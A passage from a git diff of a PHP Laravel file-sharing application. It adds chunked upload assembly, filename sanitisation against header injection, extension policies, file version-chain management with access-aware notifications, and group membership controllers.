fread($in, 1024 * 1024); + + if ($buffer === false) { + break; + } + + fwrite($out, $buffer); + hash_update($hash, $buffer); + $size += strlen($buffer); + } + + fclose($in); + unlink($partPath); + } + + fclose($out); + + $readStream = fopen($assembledPath, 'rb'); + + if ($readStream === false) { + throw new RuntimeException('Could not reopen assembled file.'); + } + + $diskEvent = new ResolvingUploadDisk($session->user); + Event::dispatch($diskEvent); + $disk = $diskEvent->disk; + + Storage::disk($disk)->writeStream($targetPath, $readStream); + + if (is_resource($readStream)) { + fclose($readStream); + } + + $this->abort($session); + + return [ + 'path' => $targetPath, + 'disk' => $disk, + 'size' => $size, + 'checksum' => hash_final($hash), + ]; + } + + public function abort(UploadSession $session): void + { + FileSystem::deleteDirectory($this->directory($session)); + } + + private function directory(UploadSession $session): string + { + return storage_path('app/uploads-tmp/'.$session->id); + } + + private function partPath(UploadSession $session, int $partNumber): string + { + return $this->directory($session).'/'.$partNumber.'.part'; + } +} diff --git a/app/Modules/Files/Uploads/PartTooLargeException.php b/app/Modules/Files/Uploads/PartTooLargeException.php new file mode 100644 index 00000000..8ebdf22b --- /dev/null +++ b/app/Modules/Files/Uploads/PartTooLargeException.php @@ -0,0 +1,15 @@ +create([ + 'uploaded_by' => $uploader->id, + 'folder_id' => $folderId, + 'name' => $name !== null && $name !== '' + ? $name + : pathinfo($originalName, PATHINFO_FILENAME), + 'description' => $description, + 'original_name' => $originalName, + 'path' => $path, + 'disk' => $disk, + 'mime_type' => $mimeType, + 'size' => $size, + 'checksum' => $checksum, + ]); + + $this->activity->log($action, $uploader, $file); + + return $file; + } + + /** + * An uploader picks original_name freely — it is validated for length + * and nothing else — and it is echoed back in the Content-Disposition + * header of every download, preview and thumbnail response. A CR or LF + * in a header value is header injection; PHP's header() refuses to + * emit one, so today that fails closed as a 500 rather than a split + * response, but a filename should not be able to break the response at + * all. Strip the whole C0/C1 control range once, here, rather than + * hoping each of the five emission sites remembers to. + */ + public static function sanitizeFilename(string $name): string + { + $clean = preg_replace('/[\x00-\x1F\x7F]/u', '', $name) ?? $name; + $clean = trim($clean); + + return $clean === '' ? 'file' : $clean; + } +} diff --git a/app/Modules/Files/Uploads/UploadExtensionPolicy.php b/app/Modules/Files/Uploads/UploadExtensionPolicy.php new file mode 100644 index 00000000..9aaf873b --- /dev/null +++ b/app/Modules/Files/Uploads/UploadExtensionPolicy.php @@ -0,0 +1,66 @@ +restriction()->appliesTo($user->type)) { + return true; + } + + $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); + + if ($extension === '') { + return false; + } + + return in_array($extension, $this->allowedExtensions(), true); + } + + /** + * Client-side UX hint only (server-side enforcement is `isAllowed()` + * above) — the allowed extensions when the restriction currently + * applies to this user, or null when it doesn't (nothing to hint). + * + * @return list|null + */ + public function hintFor(User $user): ?array + { + return $this->restriction()->appliesTo($user->type) ? $this->allowedExtensions() : null; + } + + private function restriction(): UploadTypeRestriction + { + $value = $this->settings->get(Setting::UploadTypeRestriction); + + return (is_string($value) ? UploadTypeRestriction::tryFrom($value) : null) + ?? UploadTypeRestriction::All; + } + + /** + * @return list + */ + private function allowedExtensions(): array + { + $value = $this->settings->get(Setting::AllowedUploadExtensions); + + return is_array($value) ? array_values(array_map(fn ($extension): string => strtolower((string) $extension), $value)) : []; + } +} diff --git a/app/Modules/Files/Uploads/UploadSession.php b/app/Modules/Files/Uploads/UploadSession.php new file mode 100644 index 00000000..cc5f085a --- /dev/null +++ b/app/Modules/Files/Uploads/UploadSession.php @@ -0,0 +1,56 @@ + + */ + public function user(): BelongsTo + { + return $this->belongsTo(User::class); + } + + /** + * @return BelongsTo + */ + public function folder(): BelongsTo + { + return $this->belongsTo(Folder::class); + } + + public function isOwnedBy(User $user): bool + { + return $this->user_id === $user->id; + } +} diff --git a/app/Modules/Files/Uploads/UploadTypeRestriction.php b/app/Modules/Files/Uploads/UploadTypeRestriction.php new file mode 100644 index 00000000..07e2e630 --- /dev/null +++ b/app/Modules/Files/Uploads/UploadTypeRestriction.php @@ -0,0 +1,28 @@ + false, + self::Clients => $type === UserType::Client, + self::All => true, + }; + } +} diff --git a/app/Modules/Files/Versions/FileVersionLinks.php b/app/Modules/Files/Versions/FileVersionLinks.php new file mode 100644 index 00000000..98d40721 --- /dev/null +++ b/app/Modules/Files/Versions/FileVersionLinks.php @@ -0,0 +1,187 @@ +forMany([$file], $viewer, $urlFor)[$file->id] + ?? ['previous' => null, 'next' => null]; + } + + /** + * The same answer for a whole page of rows, keyed by file id. + * + * Two queries regardless of row count, the same shape + * VisibleCommentScope::countsFor() uses: the previous ids are already + * on the loaded rows, one query finds every successor, and one more + * asks the viewer's scope which of those candidates it may name. + * + * @param iterable $files + * @param callable(File): ?string|null $urlFor + * @return array + */ + public function forMany(iterable $files, ?User $viewer, ?callable $urlFor = null): array + { + /** @var array $rows */ + $rows = []; + foreach ($files as $file) { + $rows[$file->id] = $file; + } + + if ($rows === []) { + return []; + } + + // Free: previous_file_id is a column on the rows already loaded. + $previousIds = []; + foreach ($rows as $file) { + if ($file->previous_file_id !== null) { + $previousIds[$file->previous_file_id] = true; + } + } + + // One query for every successor on the page at once. `slug` is not + // optional in this select: the public surface builds a counterpart's + // URL from it, and omitting it hands route() a null parameter rather + // than failing anywhere near here. + $successors = File::query() + ->whereIn('previous_file_id', array_keys($rows)) + ->get(['id', 'name', 'slug', 'previous_file_id', 'public', 'expires_at', 'folder_id']); + + /** @var array $candidates */ + $candidates = []; + foreach ($successors as $successor) { + $candidates[$successor->id] = $successor; + } + + if ($previousIds !== []) { + $previous = File::query() + ->whereIn('id', array_keys($previousIds)) + ->get(['id', 'name', 'slug', 'previous_file_id', 'public', 'expires_at', 'folder_id']); + + foreach ($previous as $file) { + $candidates[$file->id] = $file; + } + } + + $nameable = $this->nameable($candidates, $viewer); + + $result = []; + + foreach ($rows as $id => $file) { + $next = null; + foreach ($successors as $successor) { + if ($successor->previous_file_id === $id) { + $next = $successor; + break; + } + } + + $result[$id] = [ + 'previous' => $this->describe( + $file->previous_file_id === null ? null : ($candidates[$file->previous_file_id] ?? null), + $nameable, + $urlFor, + ), + 'next' => $this->describe($next, $nameable, $urlFor), + ]; + } + + return $result; + } + + /** + * Which of the candidate files this viewer may be told about. + * + * @param array $candidates + * @return list + */ + private function nameable(array $candidates, ?User $viewer): array + { + if ($candidates === []) { + return []; + } + + // A guest "sees both files" exactly when both are effectively + // public and unexpired — the same predicate + // PublicGroupsController::showFile 404s on, so the badge can never + // point at a page that would refuse to load. + if ($viewer === null) { + $ids = []; + foreach ($candidates as $candidate) { + if ($candidate->isEffectivelyPublic() && ! $candidate->isExpired()) { + $ids[] = $candidate->id; + } + } + + return $ids; + } + + // ViewableFileScope is FilePolicy::view() as a query, so this stays + // in lockstep with what the download route would allow. One query. + return array_values(array_map(intval(...), $this->viewable->for($viewer) + ->whereIn('files.id', array_keys($candidates)) + ->pluck('files.id') + ->all())); + } + + /** + * @param list $nameable + * @param callable(File): ?string|null $urlFor + * @return array{id: int, name: string, url: string|null}|null + */ + private function describe(?File $file, array $nameable, ?callable $urlFor): ?array + { + if ($file === null || ! in_array($file->id, $nameable, true)) { + return null; + } + + return [ + 'id' => $file->id, + 'name' => $file->name, + 'url' => $urlFor === null ? null : $urlFor($file), + ]; + } +} diff --git a/app/Modules/Files/Versions/FileVersions.php b/app/Modules/Files/Versions/FileVersions.php new file mode 100644 index 00000000..a2660462 --- /dev/null +++ b/app/Modules/Files/Versions/FileVersions.php @@ -0,0 +1,635 @@ + version_root_id IS NULL. + * 2. A file with a non-null version_root_id owns no file_assignments rows. + * Its audience is the root's (see File::sharingOwnerId and + * Access\SharingIdentity). This is what makes "a revision is always + * shared with the same people as the original" a property of the + * schema rather than a convention some future write path can forget. + * + * Authorization is NOT the caller's job here, unlike FileSharing: the + * escalation this feature can produce is specific to versioning (inheriting + * a stranger's recipients), so the check lives at the seam every caller + * reaches. See FilePolicy::setVersion. + */ +class FileVersions +{ + /** + * How deep a version history may go. + * + * Doubles as the termination guard for the chain walks below: if the + * table were ever corrupted into a cycle, every walk here still ends. + */ + public const MAX_CHAIN = 50; + + public function __construct( + private readonly ViewableFileScope $viewable, + private readonly FileSharing $sharing, + private readonly ActivityLogger $activity, + private readonly Notifier $notifier, + private readonly NotificationDigester $digester, + ) {} + + /** + * Mark $file as a revision of $previous. Idempotent: re-linking an + * existing pair is a no-op rather than an error, which matters for an + * API caller retrying a request. + * + * @throws ValidationException when a rule rejects the pair + * @throws AuthorizationException when $actor may not version either file + */ + public function link(File $file, File $previous, User $actor): void + { + $this->guard($file, $previous, $actor); + + if ($file->previous_file_id === $previous->id) { + return; + } + + $root = $previous->version_root_id ?? $previous->id; + + // RESOLVED BEFORE THE MERGE, and the ordering is the whole dedupe: + // these are the people who could already see both files, so anyone + // the merge below is about to reach for the first time is excluded + // here and gets file_shared from FileSharing::assign() instead. + // Resolve it afterwards and every newly-added client receives two + // emails about one action. + $audience = $this->sharedAudience($file, $previous); + + try { + DB::transaction(function () use ($file, $previous, $root, $actor): void { + // Move, never drop: a revision holds no recipients of its + // own, but the people who already had this file must not + // lose it. Through FileSharing so each target still gets + // its activity entry, notification and digest. + $this->moveAssignmentsToRoot($file, $root); + + $file->update([ + 'previous_file_id' => $previous->id, + 'version_root_id' => $root, + ]); + + // $file may itself have revisions; the whole subchain now + // belongs to $root. + $this->recomputeRoots($root); + + $this->activity->log( + Action::FileVersionLinked, + actor: $actor, + subject: $file, + context: ['previous' => $previous->name], + ); + }); + } catch (UniqueConstraintViolationException) { + // Two staff picked the same original at once. The pre-check in + // guard() lost the race; the index is the authority. The + // message deliberately omits the winner's name — it may be a + // file this actor is not allowed to know about. + throw ValidationException::withMessages([ + 'previous_file_id' => __('That file has just been revised by another file. Reload and try again.'), + ]); + } + + if ($audience->isNotEmpty()) { + $this->notifier->send('file_new_version', $audience, subject: $file, data: [ + 'itemName' => $file->name, + 'previousName' => $previous->name, + ]); + + $this->digester->queue('file_new_version', $audience, $file->name, [ + 'previousName' => $previous->name, + ]); + } + } + + /** + * The clients who could see BOTH files before this link was made. + * + * Notifier performs no authorization of its own — see its SECURITY + * CONTRACT docblock — so this is where the list has to be exact. It is + * an INTERSECTION, never a difference: a client who holds only the old + * file must be told nothing, because the new one was never shared with + * them and naming it would leak a file they were not granted. That is + * the same rule the badge follows, shaped as people. + * + * Candidates come from the previous file's own audience rather than a + * broad user query, then each is re-checked against both files with the + * authoritative visibility scope. + * + * @return Collection + */ + private function sharedAudience(File $file, File $previous): Collection + { + $candidateIds = FileAssignment::query() + ->where('file_id', $previous->sharingOwnerId()) + ->get() + ->flatMap(function (FileAssignment $assignment): array { + $target = $assignment->assignable; + + if ($target instanceof Group) { + return $target->members->pluck('id')->all(); + } + + return $target instanceof User ? [$target->id] : []; + }) + ->unique() + ->values(); + + if ($candidateIds->isEmpty()) { + /** @var Collection $empty */ + $empty = new Collection; + + return $empty; + } + + return User::query()->whereIn('id', $candidateIds)->get() + ->filter(fn (User $candidate): bool => File::query()->whereKey($file->id)->visibleToClient($candidate)->exists() + && File::query()->whereKey($previous->id)->visibleToClient($candidate)->exists()) + ->values(); + } + + /** + * Detach $file from its original, making it a root again. + * + * The root's current recipients are copied onto it first: it is about + * to stop inheriting them, and silently revoking access people already + * have is never the right reading of "unlink". + * + * @return bool whether a link was actually removed + */ + public function unlink(File $file, User $actor): bool + { + if ($file->previous_file_id === null) { + return false; + } + + Gate::forUser($actor)->authorize('setVersion', $file); + + DB::transaction(function () use ($file): void { + $this->copyAssignmentsFrom($file->sharingOwnerId(), $file); + + $file->update(['previous_file_id' => null, 'version_root_id' => null]); + + // $file is the head of whatever followed it; that subchain + // roots at $file now. + $this->recomputeRoots($file->id); + }); + + $this->activity->log(Action::FileVersionUnlinked, actor: $actor, subject: $file); + + return true; + } + + /** + * The full lineage $viewer may see, oldest first, including $file + * itself. Files in the chain the viewer cannot see are omitted rather + * than replaced with a placeholder — a gap is less informative than a + * hint that something exists. + * + * @return Collection + */ + public function chain(File $file, ?User $viewer): Collection + { + $members = $this->walkBack($file)->reverse()->values(); + + foreach ($this->walkForward($file) as $successor) { + $members->push($successor); + } + + if ($viewer === null) { + return $members->filter( + fn (File $member): bool => $member->isEffectivelyPublic() && ! $member->isExpired() + )->values(); + } + + $visibleIds = $this->viewable->for($viewer) + ->whereIn('files.id', $members->pluck('id')->all()) + ->pluck('files.id') + ->all(); + + return $members->filter( + fn (File $member): bool => in_array($member->id, $visibleIds, true) + )->values(); + } + + /** + * Files $actor may pick as $file's original. + * + * Staff get their viewable library. A CLIENT GETS THEIR OWN UPLOADS + * ONLY — deliberately not ViewableFileScope, which includes every file + * staff shared with them. Since a revision inherits the original's + * recipients, offering a shared file here would be offering a way to + * publish an upload to a list the client does not own. The picker + * agreeing with FilePolicy::setVersion is a courtesy; that policy is + * the control. + * + * $file is null in the upload flow, where the original is chosen + * before the row exists. + * + * @return Collection + */ + public function candidates(?File $file, User $actor, string $search = '', int $limit = 25): Collection + { + return $this->candidateQuery($file, $actor) + ->when($search !== '', fn (Builder $q) => $q->where( + fn (Builder $w) => $w->where('name', 'like', '%'.$search.'%') + ->orWhere('original_name', 'like', '%'.$search.'%') + )) + ->orderByDesc('created_at') + ->limit($limit) + ->get(); + } + + /** + * One candidate by id, or null — the same rule as candidates(), for a + * caller that already has an id (the upload flow, the API). + * + * Shares candidateQuery() rather than filtering a candidates() result, + * so resolving an id never depends on that id happening to fall inside + * the list's limit. + */ + public function resolveCandidate(?File $file, User $actor, int $previousFileId): ?File + { + return $this->candidateQuery($file, $actor)->whereKey($previousFileId)->first(); + } + + /** + * @return Builder + */ + private function candidateQuery(?File $file, User $actor): Builder + { + $query = $actor->isStaff() + ? $this->viewable->for($actor) + : File::query()->where('uploaded_by', $actor->id)->notExpired(); + + // Already revised by something: the unique index would refuse it. + // + // Except when that something is $file itself. Without this exemption + // a file's *current* original is not resolvable, so re-submitting an + // existing link 404s instead of being the no-op link() is careful to + // be — which an API client retrying a request will do. + $query->where(function (Builder $eligible) use ($file): void { + $eligible->whereDoesntHave('nextVersion'); + + if ($file !== null) { + $eligible->orWhereHas('nextVersion', fn (Builder $successor) => $successor->whereKey($file->id)); + } + }); + + if ($file !== null) { + // Neither itself nor anything downstream of it — both would be + // rejected by guardAgainstCycle(). + $query->whereKeyNot($file->id) + ->whereNotIn('files.id', $this->walkForward($file)->pluck('id')->all()); + } + + return $query; + } + + /** + * The recipients link() would move from $file onto $previous's root. + */ + public function previewLink(File $file, File $previous): LinkPreview + { + $rootId = $previous->version_root_id ?? $previous->id; + + $moving = $file->assignments()->get(); + + if ($moving->isEmpty()) { + return new LinkPreview; + } + + $existing = FileAssignment::query()->where('file_id', $rootId)->get() + ->map(fn (FileAssignment $a): string => $a->assignable_type.':'.$a->assignable_id) + ->all(); + + $clients = []; + $groups = []; + + foreach ($moving as $assignment) { + if (in_array($assignment->assignable_type.':'.$assignment->assignable_id, $existing, true)) { + continue; + } + + $target = $assignment->assignable; + + if ($target instanceof User) { + $clients[] = $target->name; + } elseif ($target instanceof Group) { + $groups[] = $target->name; + } + } + + return new LinkPreview($clients, $groups); + } + + /** + * Stamp version_root_id across the chain containing $anyFileIdInChain. + * + * Idempotent, and the repair path for `versioning:check --repair`: + * it derives every root from previous_file_id alone, so a table whose + * version_root_id column has drifted is fixed by running it. + */ + public function recomputeRoots(?int $anyFileIdInChain): void + { + if ($anyFileIdInChain === null) { + return; + } + + $member = File::withTrashed()->find($anyFileIdInChain); + + if ($member === null) { + return; + } + + $head = $this->walkBack($member)->last(); + assert($head instanceof File); + + File::withTrashed()->whereKey($head->id)->update(['version_root_id' => null]); + + foreach ($this->walkForward($head) as $successor) { + File::withTrashed()->whereKey($successor->id)->update(['version_root_id' => $head->id]); + } + } + + /** + * Repair the chain around a file being deleted. Called from + * File::booted(); not user-initiated, so it authorizes nothing. + * + * Heals rather than breaks: deleting v2 out of v1 <- v2 <- v3 leaves + * v1 <- v3, which is true — v3 does revise v1. The alternative (null + * out the successor's pointer) would silently amputate a history that + * is still accurate. + * + * Two things make this load-bearing rather than tidying: + * + * - A trashed row still occupies its original's unique + * previous_file_id slot. Without this, deleting a revision means the + * original can never be revised again, and the error message names a + * file the staffer can no longer see. + * - Deleting a ROOT would strand every revision below it with no + * recipients at all, since revisions hold none of their own. The + * promoted revision inherits the root's assignment rows here, inside + * the same transaction, before the row goes. + */ + public function detachOnDelete(File $file): void + { + $previousId = $file->previous_file_id; + + $successor = File::withTrashed()->where('previous_file_id', $file->id)->first(); + + if ($previousId === null && $successor === null) { + return; + } + + DB::transaction(function () use ($file, $previousId, $successor): void { + // A root going means its successor becomes the new root and + // must take the recipients with it, or the whole chain below + // loses its audience. ($successor is non-null here: the + // both-null case already returned above.) + if ($previousId === null) { + $this->copyAssignmentsFrom($file->id, $successor); + } + + // MUST come first: this frees $file's claim on $previousId's + // unique slot before $successor below tries to take it. + File::withTrashed()->whereKey($file->id) + ->update(['previous_file_id' => null, 'version_root_id' => null]); + + if ($successor !== null) { + // Literal ids, never a subquery over `files` — MySQL + // cannot reopen a table it is updating. + File::withTrashed()->whereKey($successor->id) + ->update(['previous_file_id' => $previousId]); + + $this->recomputeRoots($successor->id); + } + }); + } + + /** + * Every guard link() applies, in the order that produces the most + * useful message. + * + * @throws ValidationException + */ + private function guard(File $file, File $previous, User $actor): void + { + if ($previous->is($file)) { + throw ValidationException::withMessages([ + 'previous_file_id' => __('A file cannot be a revision of itself.'), + ]); + } + + // Both ends, always. The subject alone is not enough: linking + // widens the ORIGINAL's audience, so reaching one is reaching both. + Gate::forUser($actor)->authorize('setVersion', $file); + Gate::forUser($actor)->authorize('setVersion', $previous); + + // A client links at upload time, when the file has no recipients. + // Allowing it later would let them push their own file's audience + // onto an original — the mirror of the escalation setVersion + // blocks, so it is closed here rather than left to the UI. + if (! $actor->isStaff() && $file->assignments()->exists()) { + throw ValidationException::withMessages([ + 'previous_file_id' => __('This file is already shared with other people, so it can\'t be marked as a new version. Ask your contact to do it for you.'), + ]); + } + + // Queried rather than read off $previous->nextVersion: a model + // instance caches a relation once loaded, so a caller reusing one + // across two link() calls would see a stale null here and get the + // race-condition message from the unique index instead of this + // one, which names the file in the way. + $existing = File::query()->where('previous_file_id', $previous->id)->first(); + + if ($existing !== null && ! $existing->is($file)) { + throw ValidationException::withMessages([ + 'previous_file_id' => __('That file has already been revised by ":name". Remove that link first.', ['name' => $existing->name]), + ]); + } + + $this->guardAgainstCycle($file, $previous); + } + + /** + * previous_file_id is unique and single-valued, so in-degree and + * out-degree are both at most one and every component of the graph is + * a path or a cycle. Pointing $file at $previous therefore closes a + * cycle exactly when $file is already reachable by walking back from + * $previous — which makes this walk exact, not a heuristic. + * + * A PHP loop rather than a recursive CTE on purpose: chains are a + * handful of rows, and this stays identical on the sqlite test + * database and on MySQL/Postgres. + * + * @throws ValidationException + */ + private function guardAgainstCycle(File $file, File $previous): void + { + $steps = 0; + + foreach ($this->walkBack($previous) as $ancestor) { + if ($ancestor->is($file)) { + throw ValidationException::withMessages([ + 'previous_file_id' => __('That file is already part of this file\'s version history.'), + ]); + } + + $steps++; + } + + // $steps counts $previous and everything it revises, so the chain + // this link would produce is one longer. + if ($steps >= self::MAX_CHAIN) { + throw ValidationException::withMessages([ + 'previous_file_id' => __('This version history is too long. Remove an older link first.'), + ]); + } + } + + /** + * $file's own recipients become the root's, then stop being $file's. + */ + private function moveAssignmentsToRoot(File $file, int $rootId): void + { + $assignments = $file->assignments()->with('assignable')->get(); + + foreach ($assignments as $assignment) { + $target = $assignment->assignable; + + if (! $target instanceof User && ! $target instanceof Group) { + continue; + } + + $root = File::query()->find($rootId); + + if ($root === null) { + continue; + } + + // firstOrCreate inside, so a target the root already has is a + // no-op rather than a duplicate notification. + $this->sharing->assign($root, $target, $target->name); + } + + $file->assignments()->delete(); + } + + /** + * Give $target its own copy of $sourceFileId's recipients — used when a + * file stops inheriting them (unlink) or when a promoted revision has + * to take over as root (detachOnDelete). + * + * A direct insert rather than FileSharing::assign(): nobody is gaining + * access here, the same people keep exactly what they had, so a + * "shared with you" notification would be a lie. + */ + private function copyAssignmentsFrom(int $sourceFileId, File $target): void + { + if ($sourceFileId === $target->id) { + return; + } + + $rows = FileAssignment::query()->where('file_id', $sourceFileId)->get(); + + foreach ($rows as $row) { + FileAssignment::query()->firstOrCreate([ + 'file_id' => $target->id, + 'assignable_type' => $row->assignable_type, + 'assignable_id' => $row->assignable_id, + ]); + } + } + + /** + * $file and every file it revises, nearest first. + * + * withTrashed() throughout: these walks maintain structure, and a + * trashed row still holds a pointer that has to be accounted for. + * Display paths use the relations instead, which hide trashed rows. + * + * @return Collection + */ + private function walkBack(File $file): Collection + { + /** @var Collection $chain */ + $chain = new Collection([$file]); + $cursor = $file; + $steps = 0; + + while ($cursor->previous_file_id !== null && ++$steps <= self::MAX_CHAIN) { + $cursor = File::withTrashed()->find($cursor->previous_file_id); + + if ($cursor === null) { + break; + } + + $chain->push($cursor); + } + + return $chain; + } + + /** + * Every file that revises $file, transitively, nearest first. + * + * @return Collection + */ + private function walkForward(File $file): Collection + { + /** @var Collection $chain */ + $chain = new Collection; + $cursor = $file; + $steps = 0; + + while (++$steps <= self::MAX_CHAIN) { + $next = File::withTrashed()->where('previous_file_id', $cursor->id)->first(); + + if ($next === null) { + break; + } + + $chain->push($next); + $cursor = $next; + } + + return $chain; + } +} diff --git a/app/Modules/Files/Versions/LinkPreview.php b/app/Modules/Files/Versions/LinkPreview.php new file mode 100644 index 00000000..596d8d79 --- /dev/null +++ b/app/Modules/Files/Versions/LinkPreview.php @@ -0,0 +1,43 @@ + $clientNames + * @param list $groupNames + */ + public function __construct( + public array $clientNames = [], + public array $groupNames = [], + ) {} + + public function isEmpty(): bool + { + return $this->clientNames === [] && $this->groupNames === []; + } + + /** + * @return array{clients: list, groups: list, empty: bool} + */ + public function toArray(): array + { + return [ + 'clients' => $this->clientNames, + 'groups' => $this->groupNames, + 'empty' => $this->isEmpty(), + ]; + } +} diff --git a/app/Modules/Groups/GroupsServiceProvider.php b/app/Modules/Groups/GroupsServiceProvider.php new file mode 100644 index 00000000..af94ae39 --- /dev/null +++ b/app/Modules/Groups/GroupsServiceProvider.php @@ -0,0 +1,29 @@ +app->make(NotificationTypeRegistry::class)->register(new NotificationTypeDefinition( + key: 'group.membership_approved', + label: 'Your group membership request was approved', + template: 'Your request to join the group ":groupName" has been approved', + mailNotification: GroupMembershipApprovedNotification::class, + // Preserves current behavior: this was previously sent + // unconditionally whenever Setting::EmailNotificationsEnabled + // was on, with no per-user opt-out — default the preference + // to "on" so existing users see no change unless they + // explicitly opt out. + defaultEmailEnabled: true, + )); + } +} diff --git a/app/Modules/Groups/Http/Controllers/Api/GroupMembersController.php b/app/Modules/Groups/Http/Controllers/Api/GroupMembersController.php new file mode 100644 index 00000000..be203ada --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/Api/GroupMembersController.php @@ -0,0 +1,57 @@ +validate([ + 'user_id' => ['required', 'integer', 'exists:users,id'], + ]); + + $client = User::query()->findOrFail((int) $validated['user_id']); + + // Membership is clients-only — staff never belong to groups. Worth + // enforcing here as well as on the web: a group is a sharing + // target, and a staff member inside one would start receiving + // shares as though they were a customer. + if (! $client->isClient()) { + throw ValidationException::withMessages([ + 'user_id' => __('Only clients can be group members.'), + ]); + } + + // syncWithoutDetaching, so adding an existing member is a no-op and + // a retried request is safe. + $group->members()->syncWithoutDetaching([$client->id]); + + $this->activity->log(Action::GroupMemberAdded, subject: $group, context: ['member' => $client->name]); + + return new GroupResource($group->loadCount('members')->load('members')); + } + + public function destroy(Group $group, User $member): GroupResource + { + $group->members()->detach($member->id); + + $this->activity->log(Action::GroupMemberRemoved, subject: $group, context: ['member' => $member->name]); + + return new GroupResource($group->loadCount('members')->load('members')); + } +} diff --git a/app/Modules/Groups/Http/Controllers/Api/GroupsController.php b/app/Modules/Groups/Http/Controllers/Api/GroupsController.php new file mode 100644 index 00000000..20e6128b --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/Api/GroupsController.php @@ -0,0 +1,120 @@ +validate($this->polling->rules() + [ + 'search' => ['nullable', 'string', 'max:255'], + 'visibility' => ['nullable', Rule::in(['public', 'private'])], + ]); + + $query = Group::query()->withCount('members'); + + if (($filters['search'] ?? null) !== null) { + $search = $filters['search']; + $query->where(fn (Builder $inner) => $inner + ->where('name', 'like', "%{$search}%") + ->orWhere('description', 'like', "%{$search}%")); + } + + if (($filters['visibility'] ?? null) !== null) { + $query->where('public', $filters['visibility'] === 'public'); + } + + return GroupResource::collection($this->polling->paginate($request, $query, 'groups')); + } + + public function show(Group $group): GroupResource + { + return new GroupResource($group->loadCount('members')->load('members')); + } + + public function store(Request $request): JsonResponse + { + $validated = $request->validate([ + 'name' => ['required', 'string', 'max:255'], + 'slug' => Rules::slug('groups'), + 'description' => ['nullable', 'string', 'max:2000'], + 'public' => ['required', 'boolean'], + ]); + + $validated['slug'] = ($validated['slug'] ?? '') ?: Group::uniqueSlugFrom($validated['name']); + + $group = Group::query()->create($validated); + + $this->activity->log(Action::GroupCreated, subject: $group); + + if ($group->public) { + $this->activity->log(Action::GroupMadePublic, subject: $group, context: ['slug' => $group->slug]); + } + + return (new GroupResource($group->loadCount('members')))->response()->setStatusCode(201); + } + + public function update(Request $request, Group $group): GroupResource + { + $validated = $request->validate([ + 'name' => ['sometimes', 'string', 'max:255'], + 'slug' => Rules::slug('groups', $group->id), + 'description' => ['sometimes', 'nullable', 'string', 'max:2000'], + 'public' => ['sometimes', 'boolean'], + ]); + + // A slug must never change silently just because the name did. + $validated['slug'] = ($validated['slug'] ?? '') ?: ($group->slug ?: Group::uniqueSlugFrom($validated['name'] ?? $group->name, $group->id)); + + $wasPublic = $group->public; + + $group->update($validated); + + $this->activity->log(Action::GroupUpdated, subject: $group); + + if (! $wasPublic && $group->public) { + $this->activity->log(Action::GroupMadePublic, subject: $group, context: ['slug' => $group->slug]); + } elseif ($wasPublic && ! $group->public) { + $this->activity->log(Action::GroupMadePrivate, subject: $group); + } + + return new GroupResource($group->refresh()->loadCount('members')); + } + + public function destroy(Group $group): JsonResponse + { + $name = $group->name; + $group->delete(); + + $this->activity->log(Action::GroupDeleted, context: ['name' => $name]); + + return response()->json(status: 204); + } +} diff --git a/app/Modules/Groups/Http/Controllers/Concerns/InteractsWithPublicListing.php b/app/Modules/Groups/Http/Controllers/Concerns/InteractsWithPublicListing.php new file mode 100644 index 00000000..bc742cc8 --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/Concerns/InteractsWithPublicListing.php @@ -0,0 +1,77 @@ +settings->get(Setting::PublicListingSlug), 404); + } + + private function themeKey(): string + { + $value = $this->settings->get(Setting::Theme); + + return $this->themes->resolve(is_string($value) ? $value : 'default', $this->capabilities); + } + + /** + * @return array{name: string, size: int, url: string, download_url: string, thumbnail_url: string|null, mime_type: string, categories: list} + */ + private function fileProps(File $file, string $publicSlug): array + { + return [ + 'name' => $file->name, + 'size' => $file->size, + // Categories are not internal metadata: whoever can reach a + // file can see the labels on it, which is what the notice on + // /categories promises admins. Every caller of this method + // must eager-load the relation — 25 rows to a page otherwise + // means 25 extra queries. + 'categories' => array_values($file->categories + ->map(fn (Category $category): array => [ + 'id' => $category->id, 'name' => $category->name, 'color' => $category->color, + ])->all()), + 'url' => route('public.file', [$publicSlug, $file->slug]), + 'download_url' => route('public.download', [$publicSlug, $file->slug]), + 'thumbnail_url' => ThumbnailGenerator::supports($file->mime_type) + ? route('public.thumbnail', [$publicSlug, $file->slug]) + : null, + 'mime_type' => $file->mime_type, + // A visitor here has no account, so a per-user limit is + // measured against the whole file — see DownloadAllowance. + // Blocked means the download route will refuse; the file + // still appears, so nobody hunts for a link that never broke. + 'download_limit' => app(DownloadAllowance::class)->summaryFor($file, null), + // For a guest, "can see both files" means both are effectively + // public and unexpired — the same predicate showFile() 404s on, + // so the badge can never point at a page that would refuse to + // load. Resolved by FileVersionLinks, not here. + 'version' => app(FileVersionLinks::class)->for( + $file, + null, + fn (File $other): ?string => $other->slug === '' ? null : route('public.file', [$publicSlug, $other->slug]), + ), + ]; + } +} diff --git a/app/Modules/Groups/Http/Controllers/GroupMembersController.php b/app/Modules/Groups/Http/Controllers/GroupMembersController.php new file mode 100644 index 00000000..7f26fb0b --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/GroupMembersController.php @@ -0,0 +1,53 @@ +validate([ + 'user_id' => ['required', 'integer', 'exists:users,id'], + ]); + + /** @var User $client */ + $client = User::query()->findOrFail((int) $validated['user_id']); + + // Membership is clients-only — staff never belong to groups. + if (! $client->isClient()) { + throw ValidationException::withMessages([ + 'user_id' => __('Only clients can be group members.'), + ]); + } + + $group->members()->syncWithoutDetaching([$client->id]); + + $this->activity->log(Action::GroupMemberAdded, subject: $group, context: ['member' => $client->name]); + + return back(); + } + + public function destroy(Group $group, User $member): RedirectResponse + { + $group->members()->detach($member->id); + + $this->activity->log(Action::GroupMemberRemoved, subject: $group, context: ['member' => $member->name]); + + return back(); + } +} diff --git a/app/Modules/Groups/Http/Controllers/GroupsController.php b/app/Modules/Groups/Http/Controllers/GroupsController.php new file mode 100644 index 00000000..282f93c2 --- /dev/null +++ b/app/Modules/Groups/Http/Controllers/GroupsController.php @@ -0,0 +1,166 @@ +validate([ + 'search' => ['nullable', 'string', 'max:255'], + 'visibility' => ['nullable', Rule::in(['public', 'private'])], + ]); + + $filters = [ + 'search' => $validated['search'] ?? null, + 'visibility' => $validated['visibility'] ?? null, + ]; + + $groups = Group::query() + ->withCount('members') + ->when($filters['search'], fn (Builder $query, string $search) => $query->where(fn (Builder $q) => $q 